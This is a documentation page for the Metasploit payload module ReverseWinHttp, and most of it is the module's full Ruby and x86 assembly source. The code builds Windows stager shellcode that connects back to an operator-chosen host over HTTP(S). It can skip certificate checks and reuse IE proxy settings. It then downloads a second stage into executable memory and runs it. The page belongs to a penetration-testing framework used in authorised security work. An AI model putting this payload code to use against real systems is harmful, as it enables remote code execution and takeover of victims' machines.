Module: Msf::Payload::Windows::ReverseWinHttp

Includes:
ReverseHttp
Included in:
ReverseWinHttps
Defined in:
lib/msf/core/payload/windows/reverse_winhttp.rb

Overview

Complex payload generation for Windows ARCH_X86 that speak HTTP(S) using WinHTTP

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from ReverseHttp

#asm_generate_ascii_array, #asm_reverse_http, #generate_reverse_http, #generate_small_uri, #generate_uri, #get_custom_headers, #stage_over_connection?, #wfs_delay

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Exitfunk

#asm_exitfunk

Methods included from BlockApi

#asm_block_api

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #include_send_uuid, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Instance Method Details

#asm_generate_wchar_array(str) ⇒ Object

Convert a string into a NULL-terminated wchar byte array


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# File 'lib/msf/core/payload/windows/reverse_winhttp.rb', line 108

def asm_generate_wchar_array(str)
  (str.to_s + "\x00").
    unpack("C*").
    pack("v*").
    unpack("C*").
    map{ |c| "0x%.2x" % c }.
    join(",")
end

#asm_reverse_winhttp(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :ssl (Bool)

    Whether or not to enable SSL

  • :uri (String)

    The URI to request during staging

  • :host (String)

    The host to connect to

  • :port (Integer)

    The port to connect to

  • :verify_cert_hash (String)

    A 20-byte raw SHA-1 hash of the certificate to verify, or nil

  • :exitfunk (String)

    The exit method to use if there is an error, one of process, thread, or seh

  • :retry_count (Integer)

    The number of times to retry a failed request before giving up


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# File 'lib/msf/core/payload/windows/reverse_winhttp.rb', line 128

def asm_reverse_winhttp(opts={})

  retry_count       = [opts[:retry_count].to_i, 1].max
  verify_ssl        = nil
  encoded_cert_hash = nil
  encoded_uri       = asm_generate_wchar_array(opts[:uri])
  encoded_host      = asm_generate_wchar_array(opts[:host])

  # this is used by the IE proxy functionality when an autoconfiguration URL
  # is specified. We need the full URL otherwise the call to resolve the proxy
  # for the URL doesn't work.
  full_url = 'http'
  full_url << 's' if opts[:ssl]
  full_url << '://' << opts[:host]
  full_url << ":#{opts[:port]}" if opts[:ssl] && opts[:port] != 443
  full_url << ":#{opts[:port]}" if !opts[:ssl] && opts[:port] != 80
  full_url << opts[:uri]

  encoded_full_url = asm_generate_wchar_array(full_url)
  encoded_uri_index = (full_url.length - opts[:uri].length) * 2

  if opts[:ssl] && opts[:verify_cert_hash]
    verify_ssl = true
    encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
  end

  proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
  proxy_info    = ""

  if proxy_enabled
    if opts[:proxy_type].to_s.downcase == "socks"
      proxy_info << "socks="
    else
      proxy_info << "http://"
    end

    proxy_info << opts[:proxy_host].to_s
    if opts[:proxy_port].to_i > 0
      proxy_info << ":#{opts[:proxy_port]}"
    end

    proxy_info = asm_generate_wchar_array(proxy_info)
  end

  proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
  proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])

  custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers])

  http_open_flags = 0
  secure_flags = 0

  if opts[:ssl]
    http_open_flags = (
      0x00800000 | # WINHTTP_FLAG_SECURE
      0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE

    secure_flags = (
      0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
      0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID
      0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE
      0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA
  else
    http_open_flags = (
      0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
  end

  ie_proxy_autodect = (
    0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP
    0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A

  ie_proxy_flags = (
    0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT
    0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL

  asm = %Q^
    ; Input: EBP must be the address of 'api_call'.
    ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)

    load_winhttp:
      push 0x00707474        ; Push the string 'winhttp',0
      push 0x686E6977        ; ...
      push esp               ; Push a pointer to the "winhttp" string
      push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
      call ebp               ; LoadLibraryA( "winhttp" )
    ^

  if verify_ssl
    asm << %Q^
    load_crypt32:
      push 0x00323374        ; Push the string 'crypt32',0
      push 0x70797263        ; ...
      push esp               ; Push a pointer to the "crypt32" string
      push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
      call ebp               ; LoadLibraryA( "wincrypt" )
    ^
  end

  asm << %Q^
      xor ebx, ebx

    WinHttpOpen:
  ^

  if proxy_enabled
    asm << %Q^
      push ebx               ; Flags
      push esp               ; ProxyBypass ("")
    call get_proxy_server
      db #{proxy_info}
    get_proxy_server:
                             ; ProxyName (via call)
      push 3                 ; AccessType (NAMED_PROXY= 3)
      push ebx               ; UserAgent (NULL) [1]
      push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}
      call ebp
    ^
  else
    asm << %Q^
      push ebx               ; Flags
      push ebx               ; ProxyBypass (NULL)
      push ebx               ; ProxyName (NULL)
      push ebx               ; AccessType (DEFAULT_PROXY= 0)
      push ebx               ; UserAgent (NULL) [1]
      push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}
      call ebp
    ^
  end

  if opts[:proxy_ie] == true && !proxy_enabled
    asm << %Q^
      push eax               ; Session handle is required later for ie proxy
    ^
  end

  asm << %Q^
    WinHttpConnect:
      push ebx               ; Reserved (NULL)
      push #{opts[:port]}    ; Port [3]
      call got_server_uri    ; Double call to get pointer for both server_uri and
    server_uri:              ; server_host; server_uri is saved in edi for later
    ^

  if opts[:proxy_ie] == true && !proxy_enabled
    asm << %Q^
      db #{encoded_full_url}
    got_server_host:
      add edi, #{encoded_uri_index} ; move edi up to where the URI starts
    ^
  else
    asm << %Q^
      db #{encoded_uri}
    got_server_host:
    ^
  end

  asm << %Q^
      push eax               ; Session handle returned by WinHttpOpen
      push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')}
      call ebp

    WinHttpOpenRequest:

      push 0x#{http_open_flags.to_s(16)}
      push ebx               ; AcceptTypes (NULL)
      push ebx               ; Referrer (NULL)
      push ebx               ; Version (NULL)
      push edi               ; ObjectName (URI)
      push ebx               ; Verb (GET method) (NULL)
      push eax               ; Connect handle returned by WinHttpConnect
      push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpenRequest')}
      call ebp
      xchg esi, eax          ; save HttpRequest handler in esi
    ^

  if proxy_enabled && proxy_user
    asm << %Q^
      push ebx               ; pAuthParams (NULL)
    ^

    if proxy_pass
      asm << %Q^
      call got_proxy_pass    ; put proxy_pass on the stack
    proxy_pass:
      db #{proxy_pass}
    got_proxy_pass:
                             ; pwszPassword now on the stack
      ^
    else
      asm << %Q^
      push ebx               ; pwszPassword (NULL)
      ^
    end

    asm << %Q^
      call got_proxy_user    ; put proxy_user on the stack
    proxy_user:
      db #{proxy_user}
    got_proxy_user:
                             ; pwszUserName now on the stack
      push 1                 ; AuthScheme (WINHTTP_AUTH_SCHEME_BASIC = 1)
      push 1                 ; AuthTargets (WINHTTP_AUTH_TARGET_PROXY = 1)
      push esi               ; hRequest
      push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetCredentials')}
      call ebp
    ^
  elsif opts[:proxy_ie] == true
    asm << %Q^
      ; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is
      ; a 16-byte structure
      sub esp, 16
      mov eax, esp           ; store a pointer to the buffer
      push edi               ; store the current URL in case it's needed
      mov edi, eax           ; put the buffer pointer in edi
      push edi               ; Push a pointer to the buffer
      push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetIEProxyConfigForCurrentUser')}
      call ebp

      test eax, eax          ; skip the rest of the proxy stuff if the call failed
      jz ie_proxy_setup_finish

      ; we don't care about the "auto detect" flag, as it doesn't seem to
      ; impact us at all.

      ; if auto detect isn't on, check if there's an auto configuration URL
      mov eax, [edi+4]
      test eax, eax
      jz ie_proxy_manual

      ; restore the URL we need to reference
      pop edx
      sub edx, #{encoded_uri_index} ; move edx up to where the full URL starts

      ; set up the autoproxy structure on the stack
      push 1                 ; fAutoLogonIfChallenged (1=TRUE)
      push ebx               ; dwReserved (0)
      push ebx               ; lpReserved (NULL)
      push eax               ; lpszAutoConfigUrl
      push #{ie_proxy_autodect} ; dwAutoDetectFlags
      push #{ie_proxy_flags} ; dwFlags
      mov eax, esp

      ; prepare space for the resulting proxy info structure
      sub esp, 12
      mov edi, esp           ; store the proxy pointer

      ; prepare the WinHttpGetProxyForUrl call
      push edi               ; pProxyInfo
      push eax               ; pAutoProxyOptions
      push edx               ; lpcwszUrl
      lea eax, [esp+64]      ; Find the pointer to the hSession - HACK!
      push [eax]             ; hSession
      push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetProxyForUrl')}
      call ebp

      test eax, eax          ; skip the rest of the proxy stuff if the call failed
      jz ie_proxy_setup_finish
      jmp set_ie_proxy       ; edi points to the filled out proxy structure

    ie_proxy_manual:
      ; check to see if a manual proxy is specified, if not, we skip
      mov eax, [edi+8]
      test eax, eax
      jz ie_proxy_setup_finish

      ; manual proxy present, set up the proxy info structure by patching the
      ; existing current user IE structure that is in edi
      push 4
      pop eax
      add edi, eax           ; skip over the fAutoDetect flag
      dec eax
      mov [edi], eax         ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY)

      ; fallthrough to set the ie proxy

    set_ie_proxy:
      ; we assume that edi is going to point to the proxy options
      push 12                ; dwBufferLength (sizeof proxy options)
      push edi               ; lpBuffer (pointer to the proxy)
      push 38                ; dwOption (WINHTTP_OPTION_PROXY)
      push esi               ; hRequest
      push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')}
      call ebp

    ie_proxy_setup_finish:
    ^
  end

  if opts[:ssl]
    asm << %Q^
    ; WinHttpSetOption (hInternet, WINHTTP_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer) );
    set_security_options:
      push 0x#{secure_flags.to_s(16)}
      mov eax, esp
      push 4                 ; sizeof(buffer)
      push eax               ; &buffer
      push 31                ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
      push esi               ; hHttpRequest
      push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')}
      call ebp
    ^
  end

  asm << %Q^
    ; Store our retry counter in the edi register
    set_retry:
      push #{retry_count}
      pop edi

    send_request:

    WinHttpSendRequest:
      push ebx               ; Context [7]
      push ebx               ; TotalLength [6]
      push ebx               ; OptionalLength (0) [5]
      push ebx               ; Optional (NULL) [4]
  ^

  if custom_headers
    asm << %Q^
      push -1                ; dwHeadersLength (assume NULL terminated) [3]
      call get_req_headers   ; lpszHeaders (pointer to the custom headers) [2]
      db #{custom_headers}
    get_req_headers:
    ^
  else
    asm << %Q^
      push ebx               ; HeadersLength (0) [3]
      push ebx               ; Headers (NULL) [2]
    ^
  end

  asm << %Q^
      push esi               ; HttpRequest handle returned by WinHttpOpenRequest [1]
      push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')}
      call ebp
      test eax,eax
      jnz check_response     ; if TRUE call WinHttpReceiveResponse API

    try_it_again:
      dec edi
      jnz send_request

    ; if we didn't allocate before running out of retries, fall through
    ^

    if opts[:exitfunk]
      asm << %Q^
    failure:
      call exitfunk
      ^
    else
      asm << %Q^
    failure:
      push 0x56A2B5F0        ; hardcoded to exitprocess for size
      call ebp
      ^
    end

    # Jump target if the request was sent successfully
    asm << %Q^
    check_response:
    ^

    # Verify the SSL certificate hash
    if verify_ssl

      asm << %Q^
    ssl_cert_get_context:
      push 4
      mov ecx, esp         ; Allocate &bufferLength
      push 0
      mov ebx, esp         ; Allocate &buffer (ebx will point to *pCert)

      push ecx             ; &bufferLength
      push ebx             ; &buffer
      push 78              ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
      push esi             ; hHttpRequest
      push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpQueryOption')}
      call ebp
      test eax, eax        ;
      jz failure           ; Bail out if we couldn't get the certificate context

                           ; ebx
    ssl_cert_allocate_hash_space:
      push 20              ;
      mov ecx, esp         ; Store a reference to the address of 20
      sub esp,[ecx]        ; Allocate 20 bytes for the hash output
      mov edi, esp         ; edi will point to our buffer

    ssl_cert_get_server_hash:
      push ecx             ; &bufferLength
      push edi             ; &buffer (20-byte SHA1 hash)
      push 3               ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
      push [ebx]           ; *pCert
      push #{Rex::Text.block_api_hash('crypt32.dll', 'CertGetCertificateContextProperty')}
      call ebp
      test eax, eax        ;
      jz failure           ; Bail out if we couldn't get the certificate context

    ssl_cert_start_verify:
      call ssl_cert_compare_hashes
      db #{encoded_cert_hash}

    ssl_cert_compare_hashes:
      pop ebx              ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
                           ; edi points to the server-provided certificate hash

      push 4               ; Compare 20 bytes (5 * 4) by repeating 4 more times
      pop ecx              ;
      mov edx, ecx         ; Keep a reference to 4 in edx

    ssl_cert_verify_compare_loop:
      mov eax, [ebx]       ; Grab the next DWORD of the hash
      cmp eax, [edi]       ; Compare with the server hash
      jnz failure          ; Bail out if the DWORD doesn't match
      add ebx, edx         ; Increment internal hash pointer by 4
      add edi, edx         ; Increment server hash pointer by 4
      loop ssl_cert_verify_compare_loop

    ; Our certificate hash was valid, hurray!
    ssl_cert_verify_cleanup:
      xor ebx, ebx         ; Reset ebx back to zero
      ^
    end

    asm << %Q^
    receive_response:
                             ; The API WinHttpReceiveResponse needs to be called
                             ; first to get a valid handle for WinHttpReadData
      push ebx               ; Reserved (NULL)
      push esi               ; Request handler returned by WinHttpSendRequest
      push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReceiveResponse')}
      call ebp
      test eax,eax
      jz failure

    allocate_memory:
      push 0x40              ; PAGE_EXECUTE_READWRITE
      push 0x1000            ; MEM_COMMIT
      push 0x00400000        ; Stage allocation (4Mb ought to do us)
      push ebx               ; NULL as we dont care where the allocation is
      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    download_prep:
      xchg eax, ebx          ; place the allocated base address in ebx
      push ebx               ; store a copy of the stage base address on the stack
      push ebx               ; temporary storage for bytes read count
      mov edi, esp           ; &bytesRead

    download_more:
      push edi               ; NumberOfBytesRead (bytesRead)
      push 8192              ; NumberOfBytesToRead
      push ebx               ; Buffer
      push esi               ; Request handler returned by WinHttpReceiveResponse
      push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')}
      call ebp

      test eax,eax           ; if download failed? (optional?)
      jz failure

      mov eax, [edi]
      add ebx, eax           ; buffer += bytes_received

      test eax,eax           ; optional?
      jnz download_more      ; continue until it returns 0
      pop eax                ; clear the temporary storage

    execute_stage:
      ret                    ; dive into the stored stage address

    got_server_uri:
      pop edi
      call got_server_host   ; put the server_host on the stack (WinHttpConnect API [2])

    server_host:
      db #{encoded_host}
  ^

  if opts[:exitfunk]
    asm << asm_exitfunk(opts)
  end

  asm
end

#generate(opts = {}) ⇒ Object

Generate the first stage


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# File 'lib/msf/core/payload/windows/reverse_winhttp.rb', line 31

def generate(opts={})
  ds = opts[:datastore] || datastore
  conf = {
    ssl:  opts[:ssl] || false,
    host: ds['LHOST'] || '127.127.127.127',
    port: ds['LPORT']
  }

  # Add extra options if we have enough space
  if self.available_space.nil? || required_space <= self.available_space
    conf[:uri]              = luri + generate_uri
    conf[:exitfunk]         = ds['EXITFUNC']
    conf[:verify_cert_hash] = opts[:verify_cert_hash]
    conf[:proxy_host]       = ds['HttpProxyHost']
    conf[:proxy_port]       = ds['HttpProxyPort']
    conf[:proxy_user]       = ds['HttpProxyUser']
    conf[:proxy_pass]       = ds['HttpProxyPass']
    conf[:proxy_type]       = ds['HttpProxyType']
    conf[:retry_count]      = ds['StagerRetryCount']
    conf[:proxy_ie]         = ds['HttpProxyIE']
    conf[:custom_headers]   = get_custom_headers(ds)
  else
    # Otherwise default to small URIs
    conf[:uri]              = luri + generate_small_uri
  end

  generate_reverse_winhttp(conf)
end

#generate_reverse_winhttp(opts = {}) ⇒ Object

Generate and compile the stager


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# File 'lib/msf/core/payload/windows/reverse_winhttp.rb', line 67

def generate_reverse_winhttp(opts={})
  combined_asm = %Q^
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop ebp
    #{asm_reverse_winhttp(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end

#initialize(*args) ⇒ Object

Register reverse_winhttp specific options


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# File 'lib/msf/core/payload/windows/reverse_winhttp.rb', line 21

def initialize(*args)
  super
  register_advanced_options([
      OptBool.new('HttpProxyIE', 'Enable use of IE proxy settings', default: true, aliases: ['PayloadProxyIE'])
    ], self.class)
end

#required_spaceObject

Determine the maximum amount of space required for the features requested


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# File 'lib/msf/core/payload/windows/reverse_winhttp.rb', line 82

def required_space
  # Start with our cached default generated size
  space = cached_size

  # Add 100 bytes for the encoder to have some room
  space += 100

  # Make room for the maximum possible URL length (wchars)
  space += 512 * 2

  # proxy (wchars)
  space += 128 * 2

  # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
  space += 31

  # Custom headers? Ugh, impossible to tell
  space += 512 * 2

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object


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# File 'lib/msf/core/payload/windows/reverse_winhttp.rb', line 60

def transport_config(opts={})
  transport_config_reverse_http(opts)
end